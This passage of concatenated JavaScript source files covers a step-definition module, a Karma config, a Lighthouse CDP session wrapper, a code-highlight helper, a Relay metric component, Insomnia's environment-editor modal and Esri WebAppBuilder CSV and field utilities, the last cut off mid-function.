artifact.toObject().name === artifactName); } function getDirectory(artifactName, artifact) { let doc = getArtifactNode(artifactName, null); let dir = "/step-definitions/"; if(!doc && artifact && artifactName) { dir = dir + artifact.type.toLowerCase() + "/" + artifact.name +"/" } else if (doc) { let stepDefinition = doc.toObject(); if (stepDefinition.type && stepDefinition.name) { dir = dir + stepDefinition.type.toLowerCase() + "/" + stepDefinition.name + "/"; } } return dir; } function getFileExtension() { return ".step.json"; } function validateArtifact(artifact) { const missingProperties = requiredProperties.filter((propName) => !artifact[propName]); if (missingProperties.length) { return new Error(`Step definition '${artifact.name}' is missing the following required properties: ${JSON.stringify(missingProperties)}`); } return artifact; } module.exports = { getNameProperty, getCollections, getStorageDatabases, getDirectory, getPermissions, getFileExtension, getArtifactNode, validateArtifact };
// Karma configuration // Generated on Wed Nov 27 2013 14:23:40 GMT+0100 (CET) module.exports = function(config) { 'use strict'; config.set({ // base path, that will be used to resolve files and exclude basePath: '..', // frameworks to use frameworks: ['jasmine'], // list of files / patterns to load in the browser files: [ 'bower_components/jquery/jquery.js', 'bower_components/angular/angular.js', 'bower_components/angular-mocks/angular-mocks.js', 'src/*', 'test/*.spec.js' ], // list of files to exclude exclude: [ ], // test results reporter to use // possible values: 'dots', 'progress', 'junit', 'growl', 'coverage' reporters: ['dots'], // web server port port: 9876, // enable / disable colors in the output (reporters and logs) colors: true, // level of logging // possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG logLevel: config.LOG_INFO, // enable / disable watching file and executing tests whenever any file changes autoWatch: false, // Start these browsers, currently available: // - Chrome // - ChromeCanary // - Firefox // - Opera (has to be installed with `npm install karma-opera-launcher`) // - Safari (only Mac; has to be installed with `npm install karma-safari-launcher`) // - PhantomJS // - IE (only Windows; has to be installed with `npm install karma-ie-launcher`) browsers: ['Chrome', 'Firefox', 'PhantomJS'], // If browser does not capture in given timeout [ms], kill it captureTimeout: 60000, // Continuous Integration mode // if true, it capture browsers, run tests and exit singleRun: false }); };
/** * @license Copyright 2020 The Lighthouse Authors. All Rights Reserved. * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ 'use strict'; /** @implements {LH.Gatherer.FRProtocolSession} */ class ProtocolSession { /** * @param {import('puppeteer').CDPSession} session */ constructor(session) { this._session = session; } /** * @return {boolean} */ hasNextProtocolTimeout() { return false; } /** * @return {number} */ getNextProtocolTimeout() { return Number.MAX_SAFE_INTEGER; } /** * @param {number} ms */ setNextProtocolTimeout(ms) { // eslint-disable-line no-unused-vars // TODO(FR-COMPAT): support protocol timeout } /** * Bind listeners for protocol events. * @template {keyof LH.CrdpEvents} E * @param {E} eventName * @param {(...args: LH.CrdpEvents[E]) => void} callback */ on(eventName, callback) { this._session.on(eventName, /** @type {*} */ (callback)); } /** * Bind listeners for protocol events. * @template {keyof LH.CrdpEvents} E * @param {E} eventName * @param {(...args: LH.CrdpEvents[E]) => void} callback */ once(eventName, callback) { this._session.once(eventName, /** @type {*} */ (callback)); } /** * Bind listeners for protocol events. * @template {keyof LH.CrdpEvents} E * @param {E} eventName * @param {(...args: LH.CrdpEvents[E]) => void} callback */ off(eventName, callback) { this._session.off(eventName, /** @type {*} */ (callback)); } /** * @template {keyof LH.CrdpCommands} C * @param {C} method * @param {LH.CrdpCommands[C]['paramsType']} params * @return {Promise<LH.CrdpCommands[C]['returnType']>} */ sendCommand(method, ...params) { return this._session.send(method, ...params); } } module.exports = ProtocolSession;
/** * Manages code highlights on this site, based on prism.js (https://prismjs.com/) */ export class SiteCodeHighlight { /** * Injects sample code into multiple <pre> elements. * @param sampleCode Array of objects with elem, code and language properties, * where elem is either a # query selector or the element */ static setCodeSamples(sampleCode) { if(sampleCode) { sampleCode.forEach((sample) => { SiteCodeHighlight.setCode(sample.elem, sample.code, sample.language); }); } } static setCode(inElement, code, language) { const elem = typeof inElement == 'string' ? document.querySelector(inElement) : inElement; if (elem) { // For html, replace the '<' and '>' characters by '&lt;' and '&gt;' language == 'html' ? code = code.split('<').join('&lt;').split('>').join('&gt;') : code; var preElement = document.createElement('pre'); var codeElement = document.createElement('code'); codeElement.className = `language-${language}`; codeElement.innerHTML = code; preElement.appendChild(codeElement); elem.appendChild(preElement); Prism.highlightElement(codeElement); } } }
// @flow import * as React from 'react'; import { createFragmentContainer, graphql } from 'react-relay/compat'; import classNames from 'classnames'; import type { Metric_metric } from './__generated__/Metric_metric.graphql'; type Props = { metric: Metric_metric }; class Metric extends React.PureComponent<Props> { render() { if (!this.props.metric) { return null; } return ( <a href={this.props.metric.url} className="flex flex-column text-decoration-none color-inherit" style={{ width: '7em' }}> <span className="h6 regular dark-gray truncate">{this.props.metric.label}</span> {this.renderValue()} </a> ); } renderValue() { const match = String(this.props.metric.value).match(/([\d.]+)(.*)/); const valueClasses = "h1 light m0 line-height-1"; if (match) { return ( <span className="truncate"> <span className={valueClasses}>{match[1]}</span> <span className="h6 regular m0 line-height-1 dark-gray">{match[2]}</span> </span> ); } else if (this.props.metric.value) { return ( <span className={classNames(valueClasses, "truncate")}>{this.props.metric.value}</span> ); } return ( <span className={classNames(valueClasses, "gray")}>-</span> ); } } export default createFragmentContainer(Metric, graphql` fragment Metric_metric on PipelineMetric { label value url } `);
// @flow import * as React from 'react'; import autobind from 'autobind-decorator'; import classnames from 'classnames'; import { SortableContainer, SortableElement, arrayMove } from 'react-sortable-hoc'; import { Dropdown, DropdownButton, DropdownItem } from '../base/dropdown'; import PromptButton from '../base/prompt-button'; import Button from '../base/button'; import Link from '../base/link'; import EnvironmentEditor from '../editors/environment-editor'; import Editable from '../base/editable'; import Modal from '../base/modal'; import ModalBody from '../base/modal-body'; import ModalHeader from '../base/modal-header'; import ModalFooter from '../base/modal-footer'; import * as models from '../../../models'; import { DEBOUNCE_MILLIS } from '../../../common/constants'; import type { Workspace } from '../../../models/workspace'; import type { Environment } from '../../../models/environment'; import * as db from '../../../common/database'; import HelpTooltip from '../help-tooltip'; import Tooltip from '../tooltip'; const ROOT_ENVIRONMENT_NAME = 'Base Environment'; type Props = { activeEnvironmentId: string | null, editorFontSize: number, editorIndentSize: number, editorKeyMap: string, lineWrapping: boolean, render: Function, getRenderContext: Function, nunjucksPowerUserMode: boolean }; type State = { workspace: Workspace | null, isValid: boolean, subEnvironments: Array<Environment>, rootEnvironment: Environment | null, selectedEnvironmentId: string | null }; const SidebarListItem = SortableElement( ({ environment, activeEnvironment, showEnvironment, changeEnvironmentName }) => { const classes = classnames({ 'env-modal__sidebar-item': true, 'env-modal__sidebar-item--active': activeEnvironment === environment }); return ( <li key={environment._id} className={classes}> <Button onClick={showEnvironment} value={environment}> <i className="fa fa-drag-handle drag-handle" /> {environment.color ? ( <i className="space-right fa fa-circle" style={{ color: environment.color }} /> ) : ( <i className="space-right fa fa-empty" /> )} {environment.isPrivate && ( <Tooltip position="top" message="Environment will not be exported or synced"> <i className="fa fa-eye-slash faint space-right" /> </Tooltip> )} <Editable className="inline-block" onSubmit={name => changeEnvironmentName(environment, name)} value={environment.name} /> </Button> </li> ); } ); const SidebarList = SortableContainer( ({ environments, activeEnvironment, showEnvironment, changeEnvironmentName }) => ( <ul> {environments.map((e, i) => ( <SidebarListItem key={e._id} environment={e} index={i} activeEnvironment={activeEnvironment} showEnvironment={showEnvironment} changeEnvironmentName={changeEnvironmentName} /> ))} </ul> ) ); @autobind class WorkspaceEnvironmentsEditModal extends React.PureComponent<Props, State> { environmentEditorRef: ?EnvironmentEditor; colorChangeTimeout: any; saveTimeout: any; modal: Modal; editorKey: number; constructor(props: Props) { super(props); this.state = { workspace: null, isValid: true, subEnvironments: [], rootEnvironment: null, selectedEnvironmentId: null }; this.colorChangeTimeout = null; this.editorKey = 0; } hide() { this.modal && this.modal.hide(); } _setEditorRef(n: ?EnvironmentEditor) { this.environmentEditorRef = n; } _setModalRef(n: Modal | null) { this.modal = n; } async show(workspace: Workspace) { const { activeEnvironmentId } = this.props; // Default to showing the currently active environment if (activeEnvironmentId) { this.setState({ selectedEnvironmentId: activeEnvironmentId }); } await this._load(workspace); this.modal && this.modal.show(); } async _load(workspace: Workspace | null, environmentToSelect: Environment | null = null) { if (!workspace) { console.warn('Failed to reload environment editor without Workspace'); return; } const rootEnvironment = await models.environment.getOrCreateForWorkspace(workspace); const subEnvironments = await models.environment.findByParentId(rootEnvironment._id); let selectedEnvironmentId; if (environmentToSelect) { selectedEnvironmentId = environmentToSelect._id; } else if (this.state.workspace && workspace._id !== this.state.workspace._id) { // We've changed workspaces, so load the root one selectedEnvironmentId = rootEnvironment._id; } else { // We haven't changed workspaces, so try loading the last environment, and fall back // to the root one selectedEnvironmentId = this.state.selectedEnvironmentId || rootEnvironment._id; } this.setState({ workspace, rootEnvironment, subEnvironments, selectedEnvironmentId }); } async _handleAddEnvironment(isPrivate: boolean = false) { const { rootEnvironment, workspace } = this.state; if (!rootEnvironment) { console.warn('Failed to add environment. Unknown root environment'); return; } const parentId = rootEnvironment._id; const environment = await models.environment.create({ parentId, isPrivate }); await this._load(workspace, environment); } async _handleShowEnvironment(environment: Environment) { // Don't allow switching if the current one has errors if (this.environmentEditorRef && !this.environmentEditorRef.isValid()) { return; } if (environment === this._getActiveEnvironment()) { return; } const { workspace } = this.state; await this._load(workspace, environment); } async _handleDeleteEnvironment(environment: Environment) { const { rootEnvironment, workspace } = this.state; // Don't delete the root environment if (environment === rootEnvironment) { return; } // Delete the current one, then activate the root environment await models.environment.remove(environment); await this._load(workspace, rootEnvironment); } async _handleChangeEnvironmentName(environment: Environment, name: string) { const { workspace } = this.state; // NOTE: Fetch the environment first because it might not be up to date. // For example, editing the body updates silently. const realEnvironment = await models.environment.getById(environment._id); if (!realEnvironment) { return; } await models.environment.update(realEnvironment, { name }); await this._load(workspace); } _handleChangeEnvironmentColor(environment: Environment, color: string | null) { clearTimeout(this.colorChangeTimeout); this.colorChangeTimeout = setTimeout(async () => { const { workspace } = this.state; await models.environment.update(environment, { color }); await this._load(workspace); }, DEBOUNCE_MILLIS); } _didChange() { this._saveChanges(); // Call this last in case component unmounted const isValid = this.environmentEditorRef ? this.environmentEditorRef.isValid() : false; if (this.state.isValid !== isValid) { this.setState({ isValid }); } } _getActiveEnvironment(): Environment | null { const { selectedEnvironmentId, subEnvironments, rootEnvironment } = this.state; if (rootEnvironment && rootEnvironment._id === selectedEnvironmentId) { return rootEnvironment; } else { return subEnvironments.find(e => e._id === selectedEnvironmentId) || null; } } _handleUnsetColor(environment: Environment) { this._handleChangeEnvironmentColor(environment, null); } componentDidMount() { db.onChange(async changes => { const { selectedEnvironmentId } = this.state; for (const change of changes) { const [ _, // eslint-disable-line no-unused-vars doc, fromSync ] = change; // Force an editor refresh if any changes from sync come in if (doc._id === selectedEnvironmentId && fromSync) { this.editorKey = doc.modified; await this._load(this.state.workspace); } } }); } async _handleSortEnd(results: { oldIndex: number, newIndex: number, collection: Array<Environment> }) { const { oldIndex, newIndex } = results; if (newIndex === oldIndex) { return; } const { subEnvironments } = this.state; const newSubEnvironments = arrayMove(subEnvironments, oldIndex, newIndex); this.setState({ subEnvironments: newSubEnvironments }); // Do this last so we don't block the sorting db.bufferChanges(); for (let i = 0; i < newSubEnvironments.length; i++) { const environment = newSubEnvironments[i]; await models.environment.update(environment, { metaSortKey: i }); } db.flushChanges(); } async _handleClickColorChange(environment: Environment) { let el = document.querySelector('#env-color-picker'); // Remove existing child so we reset the event handlers. This // was easier than trying to clean them up later. if (el && el.parentNode) { el.parentNode.removeChild(el); } el = document.createElement('input'); el.id = 'env-color-picker'; el.type = 'color'; document.body && document.body.appendChild(el); let color = environment.color || '#7d69cb'; if (!environment.color) { await this._handleChangeEnvironmentColor(environment, color); } el.setAttribute('value', color); el.addEventListener('input', (e: Event) => { if (e.target instanceof HTMLInputElement) { this._handleChangeEnvironmentColor(environment, e.target && e.target.value); } }); el.click(); } _saveChanges() { // Only save if it's valid if (!this.environmentEditorRef || !this.environmentEditorRef.isValid()) { return; } let data; try { data = this.environmentEditorRef.getValue(); } catch (err) { // Invalid JSON probably return; } const activeEnvironment = this._getActiveEnvironment(); if (activeEnvironment) { clearTimeout(this.saveTimeout); this.saveTimeout = setTimeout(() => { models.environment.update(activeEnvironment, { data }); }, DEBOUNCE_MILLIS * 4); } } render() { const { editorFontSize, editorIndentSize, editorKeyMap, lineWrapping, render, getRenderContext, nunjucksPowerUserMode } = this.props; const { subEnvironments, rootEnvironment, isValid } = this.state; const activeEnvironment = this._getActiveEnvironment(); return ( <Modal ref={this._setModalRef} wide tall {...this.props}> <ModalHeader>Manage Environments</ModalHeader> <ModalBody noScroll className="env-modal"> <div className="env-modal__sidebar"> <li className={classnames('env-modal__sidebar-root-item', { 'env-modal__sidebar-item--active': activeEnvironment === rootEnvironment })}> <Button onClick={this._handleShowEnvironment} value={rootEnvironment}> {ROOT_ENVIRONMENT_NAME} <HelpTooltip className="space-left"> The variables in this environment are always available, regardless of which sub-environment is active. Useful for storing default or fallback values. </HelpTooltip> </Button> </li> <div className="pad env-modal__sidebar-heading"> <h3 className="no-margin">Sub Environments</h3> <Dropdown right> <DropdownButton> <i className="fa fa-plus-circle" /> <i className="fa fa-caret-down" /> </DropdownButton> <DropdownItem onClick={this._handleAddEnvironment} value={false}> <i className="fa fa-eye" /> Environment </DropdownItem> <DropdownItem onClick={this._handleAddEnvironment} value={true} title="Environment will not be exported or synced"> <i className="fa fa-eye-slash" /> Private Environment </DropdownItem> </Dropdown> </div> <SidebarList environments={subEnvironments} activeEnvironment={activeEnvironment} showEnvironment={this._handleShowEnvironment} changeEnvironmentName={this._handleChangeEnvironmentName} onSortEnd={this._handleSortEnd} helperClass="env-modal__sidebar-item--dragging" transitionDuration={0} useWindowAsScrollContainer={false} /> </div> <div className="env-modal__main"> <div className="env-modal__main__header"> <h1> {rootEnvironment === activeEnvironment ? ( ROOT_ENVIRONMENT_NAME ) : ( <Editable singleClick className="wide" onSubmit={name => activeEnvironment && this._handleChangeEnvironmentName(activeEnvironment, name) } value={activeEnvironment ? activeEnvironment.name : ''} /> )} </h1> {activeEnvironment && rootEnvironment !== activeEnvironment ? ( <Dropdown className="space-right" right> <DropdownButton className="btn btn--clicky"> {activeEnvironment.color && ( <i className="fa fa-circle space-right" style={{ color: activeEnvironment.color }} /> )} Color <i className="fa fa-caret-down" /> </DropdownButton> <DropdownItem value={activeEnvironment} onClick={this._handleClickColorChange}> <i className="fa fa-circle" style={{ color: activeEnvironment.color }} /> {activeEnvironment.color ? 'Change Color' : 'Assign Color'} </DropdownItem> <DropdownItem value={activeEnvironment} onClick={this._handleUnsetColor} disabled={!activeEnvironment.color}> <i className="fa fa-minus-circle" /> Unset Color </DropdownItem> </Dropdown> ) : null} {activeEnvironment && rootEnvironment !== activeEnvironment ? ( <PromptButton value={activeEnvironment} onClick={this._handleDeleteEnvironment} className="btn btn--clicky"> <i className="fa fa-trash-o" /> </PromptButton> ) : null} </div> <div className="env-modal__editor"> <EnvironmentEditor editorFontSize={editorFontSize} editorIndentSize={editorIndentSize} editorKeyMap={editorKeyMap} lineWrapping={lineWrapping} ref={this._setEditorRef} key={`${this.editorKey}::${activeEnvironment ? activeEnvironment._id : 'n/a'}`} environment={activeEnvironment ? activeEnvironment.data : {}} didChange={this._didChange} render={render} getRenderContext={getRenderContext} nunjucksPowerUserMode={nunjucksPowerUserMode} /> </div> </div> </ModalBody> <ModalFooter> <div className="margin-left italic txt-sm tall"> * Environment data can be used for&nbsp; <Link href="https://support.insomnia.rest/article/40-template-tags"> Nunjucks Templating </Link>{' '} in your requests </div> <button className="btn" disabled={!isValid} onClick={this.hide}> Done </button> </ModalFooter> </Modal> ); } } export default WorkspaceEnvironmentsEditModal;
/////////////////////////////////////////////////////////////////////////// // Copyright © Esri. All Rights Reserved. // // Licensed under the Apache License Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /////////////////////////////////////////////////////////////////////////// define([ 'dojo/_base/array', 'dojo/_base/lang', 'dojo/dom-class', 'dojo/dom-geometry', 'dojo/dom-style', 'esri/tasks/query', 'esri/geometry/geometryEngine', "esri/geometry/Polyline", './CSVUtils', 'jimu/utils' ], function (array, lang, domClass, domGeom, domStyle, Query, geometryEngine, Polyline, CSVUtils, utils) { var mo = {}; //distanceSettings and distanceUnits are the same for all //TODO get these and store locally so we don't have to pass the values // to individual functions //this currently supports fields for Closest and Proximity however I should // be able to consolidate more ///the this usage will need to be updated mo.getFields = function (layer, tab, allFields, parent) { var skipFields = this.getSkipFields(layer); var fields = []; if (!allFields && tab.advStat && tab.advStat.stats && tab.advStat.stats.outFields && tab.advStat.stats.outFields.length > 0) { array.forEach(tab.advStat.stats.outFields, function (obj) { fields.push(obj.expression); }); } else { var fldInfos; if (layer.infoTemplate) { fldInfos = layer.infoTemplate.info.fieldInfos; } else if (parent.map.itemInfo.itemData.operationalLayers.length > 0) { var mapLayers = parent.map.itemInfo.itemData.operationalLayers; fldInfos = null; mapServiceLayerLoop: for (var i = 0; i < mapLayers.length; i++) { var lyr = mapLayers[i]; if (lyr.layerType === "ArcGISMapServiceLayer") { if (typeof (lyr.layers) !== 'undefined') { for (var ii = 0; ii < lyr.layers.length; ii++) { var sl = lyr.layers[ii]; if (sl.id === layer.layerId) { if (sl.popupInfo) { fldInfos = sl.popupInfo.fieldInfos; break mapServiceLayerLoop; } } } } } } if (!fldInfos) { fldInfos = layer.fields; } } else { fldInfos = layer.fields; } if (fldInfos) { for (var j = 0; j < fldInfos.length; j++) { var fld = fldInfos[j]; if (!allFields && typeof (fld.visible) !== 'undefined') { if (fld.visible) { if (skipFields.indexOf(fld.fieldName) === -1) { fields.push(fld.fieldName); } } } else { //TODO verify this is how it is for MSL otherwise it may have been a typeo var name = fld.name ? fld.name : fld.fieldName; if (skipFields.indexOf(name) === -1) { fields.push(name); } } } } } // special fields: dates and domains var spFields = this.getSpecialFields(layer); return { dateFields: spFields.dateFields, specialFields: spFields.specialFields, typeIdField: spFields.typeIdField, types: spFields.types, fields: (fields.length > 3 && !allFields) ? fields.slice(0, 3) : fields, allFields: fields }; }; //mo.getGroupedCountFields = function (layer, tab, allFields, parent) { // var fields = []; // if (typeof (tab.advStat) !== 'undefined') { // var stats = tab.advStat.stats; // for (var key in stats) { // var txt = ""; // if (stats[key].length > 0) { // array.forEach(stats[key], function (pStat) { // var obj = { // field: pStat.expression, // alias: pStat.label + txt, // type: key, // total: 0 // }; // fields.push(obj); // }); // } // } // } // // special fields: dates and domains // var spFields = {}; // var dateFields = []; // array.forEach(layer.fields, lang.hitch(this, function (fld) { // if (fld.type === "esriFieldTypeDate" || fld.domain) { // if (fld.type === "esriFieldTypeDate") { // if (layer.infoTemplate) { // for (var key in layer.infoTemplate._fieldsMap) { // if (typeof (layer.infoTemplate._fieldsMap[key].fieldName) !== 'undefined') { // if (layer.infoTemplate._fieldsMap[key].fieldName === fld.name) { // if (typeof (layer.infoTemplate._fieldsMap[key].format.dateFormat) !== 'undefined') { // dateFields[fld.name] = layer.infoTemplate._fieldsMap[key].format.dateFormat; // } // } // } // } // } // } // spFields[fld.name] = fld; // } // })); // //TODO will need to think through the fields return...as this will be different than prox and close // // due to the calculated values // return { // dateFields: dateFields, // specialFields: spFields, // fields: (fields.length > 3 && !allFields) ? fields.slice(0, 3) : fields, // allFields: fields // }; //}; mo.getField = function (fields, v) { for (var i = 0; i < fields.length; i++) { var f = fields[i]; if (f.name === v || f.alias === v) { return f; } } return undefined; }; /* jshint unused:false */ mo.getFieldValue = function (fldName, fldValue, specialFields, dateFields, defaultDateFormat, typeIdField, types, layerDefinition, attr, field) { var isDate = false; var value = fldValue; if (specialFields[fldName]) { var fld = specialFields[fldName]; if (fld.type === "esriFieldTypeDate") { isDate = true; var _f; if (Object.keys(dateFields).indexOf(fldName) > -1) { var dFormat = dateFields[fldName]; if (typeof (dFormat) !== 'undefined') { _f = { dateFormat: dFormat }; } else { _f = { dateFormat: defaultDateFormat }; } } else { _f = { dateFormat: defaultDateFormat }; } value = utils.fieldFormatter.getFormattedDate(new Date(fldValue), _f); } } if (!isDate && layerDefinition && attr) { var _result = utils.getDisplayValueForCodedValueOrSubtype(layerDefinition, fldName, attr); value = (_result && _result.hasOwnProperty('displayValue')) && _result.isCodedValueOrSubtype ? _result.displayValue : this.formatNumber(value, field).num; } return value; }; mo.getSkipFields = function (layer) { var skipFields = []; if (layer.fields) { for (var i = 0; i < layer.fields.length; i++) { var f = layer.fields[i]; if (f && f.type && f.name) { if (f.type === 'esriFieldTypeGeometry') { skipFields.push(f.name); } } } } if (layer.globalIdField && layer.globalIdField !== '') { skipFields.push(layer.globalIdField); } if (layer.objectIdField && layer.objectIdField !== '') { skipFields.push(layer.objectIdField); } return skipFields; }; mo.getSpecialFields = function (layer) { var spFields = {}; var dateFields = []; if (layer.fields) { array.forEach(layer.fields, lang.hitch(this, function (fld) { if (fld.type === "esriFieldTypeDate" || fld.domain || fld.name === layer.typeIdField) { if (fld.type === "esriFieldTypeDate") { if (layer.infoTemplate) { for (var key in layer.infoTemplate._fieldsMap) { if (typeof (layer.infoTemplate._fieldsMap[key].fieldName) !== 'undefined') { if (layer.infoTemplate._fieldsMap[key].fieldName === fld.name) { if (layer.infoTemplate._fieldsMap[key].format && typeof (layer.infoTemplate._fieldsMap[key].format.dateFormat) !== 'undefined') { dateFields[fld.name] = layer.infoTemplate._fieldsMap[key].format.dateFormat; } } } } } } spFields[fld.name] = fld; } })); } return { specialFields: spFields, dateFields: dateFields, typeIdField: layer.typeIdField, types: layer.types }; }; mo.getSummaryFields = function () { }; mo.getPopupFields = function (tab) { var popupFields = []; if (tab.tabLayers.length > 0) { var mapLayers = tab.tabLayers; array.forEach(mapLayers, lang.hitch(this, function (layer) { var skipFields = this.getSkipFields(layer); if (typeof (layer.popupInfo) !== 'undefined') { array.forEach(layer.popupInfo.fieldInfos, lang.hitch(this, function (field) { if (field.visible && skipFields.indexOf(field.fieldName) === -1) { var fieldObj = {}; fieldObj.value = 0; fieldObj.expression = field.fieldName; fieldObj.label = field.label; popupFields.push(fieldObj); } })); } else if (layer.infoTemplate) { array.forEach(layer.infoTemplate.info.fieldInfos, lang.hitch(this, function (field) { if (field.visible && skipFields.indexOf(field.fieldName) === -1) { var fieldObj = {}; fieldObj.value = 0; fieldObj.expression = field.fieldName; fieldObj.label = field.label; popupFields.push(fieldObj); } })); } })); } return popupFields; }; mo.getDisplayFields = function (tab) { var displayFields; if (typeof (tab.advStat) !== 'undefined' && typeof (tab.advStat.stats) !== 'undefined' && typeof (tab.advStat.stats.outFields) !== 'undefined') { displayFields = tab.advStat.stats.outFields; } else { displayFields = []; if (tab.tabLayers.length > 0) { var mapLayers = tab.tabLayers; array.forEach(mapLayers, lang.hitch(this, function (layer) { if (typeof (layer.popupInfo) !== 'undefined') { array.forEach(layer.popupInfo.fieldInfos, lang.hitch(this, function (field) { if (field.visible) { var fieldObj = {}; fieldObj.value = 0; fieldObj.expression = field.fieldName; fieldObj.label = field.label; displayFields.push(fieldObj); } })); } else if (layer.infoTemplate) { array.forEach(layer.infoTemplate.info.fieldInfos, lang.hitch(this, function (field) { if (field.visible) { var fieldObj = {}; fieldObj.value = 0; fieldObj.expression = field.fieldName; fieldObj.label = field.label; displayFields.push(fieldObj); } })); } else { var l = layer.layerObject ? layer.layerObject : layer; array.forEach(l.fields, lang.hitch(this, function (field) { var fieldObj = {}; fieldObj.value = 0; fieldObj.expression = field.name; fieldObj.label = field.alias; displayFields.push(fieldObj); })); } })); } } return displayFields; }; mo.exportToCSV = function (results, snapShot, downloadAll, analysisResults, parentInfo) { if (results.length === 0) { return false; } var name = parentInfo.baseLabel; var data = []; var cols = []; if (parentInfo.type === 'proximity') { results.sort(this.compareDistance); } var snapShotTest; if (typeof (snapShot.altKey) === 'undefined') { snapShotTest = snapShot; } else { snapShotTest = false; downloadAll = parentInfo.csvAllFields; } array.forEach(results, lang.hitch(this, function (gra) { //change for https://devtopia.esri.com/WebGIS/arcgis-webappbuilder/issues/11369 //if (parentInfo.type === 'proximity' || parentInfo.type === 'closest') { // delete gra.attributes.DISTANCE; //} if (parentInfo.type === 'closest') { delete gra.attributes.DISTANCE; } if (parentInfo.type === 'proximity') { gra.attributes.DISTANCE = this.getDistanceLabel(gra.attributes.DISTANCE, parentInfo.unit, parentInfo.approximateLabel); } data.push(gra.attributes); })); if (parentInfo.type === 'summary' || parentInfo.type === 'grouped') { if (((parentInfo.hasOwnProperty("csvAllFields") && parentInfo.csvAllFields === "allFields")) || (parentInfo.hasOwnProperty("csvAllFields") && (parentInfo.csvAllFields === true || parentInfo.csvAllFields === "true"))) { for (var prop in data[0]) { cols.push(prop); } } else if (((parentInfo.hasOwnProperty("csvAllFields") && parentInfo.csvAllFields === "popUpFields"))) { if (parentInfo.allFields) { //Incase of create snapshot for (var i = 0; i < parentInfo.summaryFields.length; i++) { cols.push(parentInfo.summaryFields[i].field); } } else { //in case popup fields if (parentInfo.configuredPopUpFields.length === 0) { // no data should be displayed as popup is disable data = []; data.push({}); } else for (var i = 0; i < parentInfo.configuredPopUpFields.length; i++) { cols.push(parentInfo.configuredPopUpFields[i]); } } } else { //in case of analysis field for (var i = 0; i < parentInfo.summaryFields.length; i++) { cols.push(parentInfo.summaryFields[i].field); } } } else { for (var _prop in data[0]) { cols.push(_prop); } } var summaryLayer = parentInfo.layer; var fields = summaryLayer.fields; if (summaryLayer && summaryLayer.loaded && fields || snapShotTest) { var skipFields = !snapShot ? this.getSkipFields(summaryLayer) : []; var options = {}; if (parentInfo.opLayers && parentInfo.opLayers._layerInfos) { var layerInfo = parentInfo.opLayers.getLayerInfoById(summaryLayer.id); if (layerInfo) { options.popupInfo = layerInfo.getPopupInfo(); } } var _outFields = []; cols_loop: for (var ii = 0; ii < cols.length; ii++) { var col = cols[ii]; if (skipFields.indexOf(col) === -1) { var found = false; var field; fields_loop: for (var iii = 0; iii < fields.length; iii++) { field = fields[iii]; if (field.name === col) { found = true; break fields_loop; } } if (found) { _outFields.push(field); } else { _outFields.push({ 'name': col, alias: col, show: true, type: "esriFieldTypeString" }); } } } options.datas = data; options.fromClient = false; options.withGeometry = false; options.outFields = _outFields; options.formatDate = true; options.formatCodedValue = true; options.formatNumber = false; var appendColumns = []; var appendDatas = []; if (!snapShot && downloadAll && typeof (analysisResults) !== 'undefined') { switch (parentInfo.type) { case 'proximity': appendColumns.push(parentInfo.nlsCount); appendDatas.push(analysisResults); break; case 'closest': var x = 0; array.forEach(analysisResults, lang.hitch(this, function (results) { if (x === 0) { array.forEach(results, function (result) { appendColumns.push(result.label); }); x += 1; } var row = []; array.forEach(results, function (result) { row.push(result.value); }); appendDatas.push(row); })); break; case 'summary': array.forEach(analysisResults, lang.hitch(this, function (result) { var alias = result.info.replace('<br/>', ''); var addField = false; calc_field_loop: for (var k = 0; k < parentInfo.calcFields.length; k++) { if (alias === parentInfo.calcFields[k].alias) { addField = true; break calc_field_loop; } } if (addField) { appendColumns.push(alias); appendDatas.push(result.total); } })); break; case 'grouped': array.forEach(analysisResults, function (result) { appendColumns.push(result.info.replace('<br/>', '')); appendDatas.push(result.total); }); break; } } if (!snapShotTest) { CSVUtils.exportCSVFromFeatureLayer(name, summaryLayer, options); return { summaryLayer: summaryLayer, details: { appendColumns: appendColumns, appendDatas: appendDatas, name: name, type: parentInfo.nlsValue } }; } else { return { summaryLayer: summaryLayer, details: _outFields }; } } else { //This does not handle value formatting CSVUtils.exportCSV(name, data, cols); } }; mo.isURL = function (v) { return /(https?:\/\/|ftp:)/g.test(v); }; mo.isEmail = function (v) { return /\S+@\S+\.\S+/.test(v); }; mo.queryTabCount = function () { }; mo.performQuery = function () { }; mo.getFilter = function (id, opLayers) { var expr = ""; opLayers.traversal(function (layerInfo) { if (id === layerInfo.id && layerInfo.getFilter()) { expr = layerInfo.getFilter(); return true; } }); return expr; }; mo.getGeoms = function (buffers) { //Test for intersecting buffers..if intersecting they need to be unioned // to avoid duplicates within the count, length, and area calcs //Only polygons are accounted for var removedIndexes = []; var geoms = []; for (var j = 0; j < buffers.length; j++) { var geom1 = buffers[j].geometry ? buffers[j].geometry : buffers[j]; if (geom1.type === 'polygon' && removedIndexes.indexOf(j) === -1) { for (var jj = 0; jj < buffers.length; jj++) { if (jj !== j && removedIndexes.indexOf(jj) === -1) { var geom2 = buffers[jj].geometry ? buffers[jj].geometry : buffers[jj]; if (geom2.type === 'polygon') { var intersects = geometryEngine.intersects(geom1, geom2); if (intersects) { removedIndexes.push(jj); geom1 = geometryEngine.union(geom1, geom2); } } else { removedIndexes.push(jj); } } } geoms.push(geom1); } } return geoms; }; mo.createDefArray = function (tabLayers, geom, opLayers, tab) { var defArray = []; for (var i = 0; i < tabLayers.length; i++) { var layer = tabLayers[i]; if (layer) { var query = new Query(); query.returnGeometry = false; query.geometry = geom; var id = [null, undefined, ""].indexOf(layer.id) === -1 ? layer.id : tab.layers; query.where = this.getFilter(id, opLayers); if (typeof (layer.queryCount) !== 'undefined') { defArray.push(layer.queryCount(query)); } else if (typeof (layer.queryIds) !== 'undefined') { defArray.push(layer.queryIds(query)); } else if (typeof (layer.queryFeatures) !== 